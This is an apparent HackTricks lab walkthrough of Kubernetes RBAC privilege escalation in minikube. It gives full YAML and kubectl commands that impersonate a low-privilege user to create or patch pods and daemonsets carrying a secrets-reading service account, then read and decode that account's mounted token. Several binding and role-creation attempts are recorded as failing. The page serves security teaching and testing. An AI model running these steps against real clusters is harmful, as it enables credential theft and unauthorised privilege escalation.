Kubernetes Roles Abuse Lab

{{#include ../../../banners/hacktricks-training.md}}

You can run these labs just inside minikube.

Pod Creation -> Escalate to ns SAs

We are going to create:

  • A Service account "test-sa" with a cluster privilege to read secrets
  • A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
  • Permissions to list and create pods to a user called "Test" will be given
  • A Role "test-r" and RoleBinding "test-rb" will be created
  • Then we will confirm that the SA can list secrets and that the user Test can list a pods
  • Finally we will impersonate the user Test to create a pod that includes the SA test-sa and steal the service account token.
  • This is the way yo show the user could escalate privileges this way
πŸ“ Note
To create the scenario an admin account is used.\ Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get pods

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Create Daemonset

# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Patch Daemonset

In this case we are going to patch a daemonset to make its pod load our desired service account.

If your user has the verb update instead of patch, this won't work.

# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      automountServiceAccountToken: false
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100']' | kubectl apply -f -

# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets

# Create a daemonset as user Test with the SA test-sa (privesc step)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Doesn't work

Create/Patch Bindings

Doesn't work:

  • Create a new RoleBinding just with the verb create
  • Create a new RoleBinding just with the verb patch (you need to have the binding permissions)
  • You cannot do this to assign the role to yourself or to a different SA
  • Modify a new RoleBinding just with the verb patch (you need to have the binding permissions)
  • You cannot do this to assign the role to yourself or to a different SA
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Create a pod as user Test with the SA test-sa (privesc step)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Clean the scenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bind explicitly Bindings

In the "Privilege Escalation Prevention and Bootstrapping" section of https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
However, it didn't work for me:

# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
  namespace: default
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
  namespace: default
subjects:
  - kind: ServiceAccount
    name: test-sa2
    namespace: default
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -

# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Arbitrary roles creation

In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:

# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["roles"]
    verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Try to create a role over all the resources  with "create" and "patch"
# This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["*"]
    verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-

# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa

{{#include ../../../banners/hacktricks-training.md}}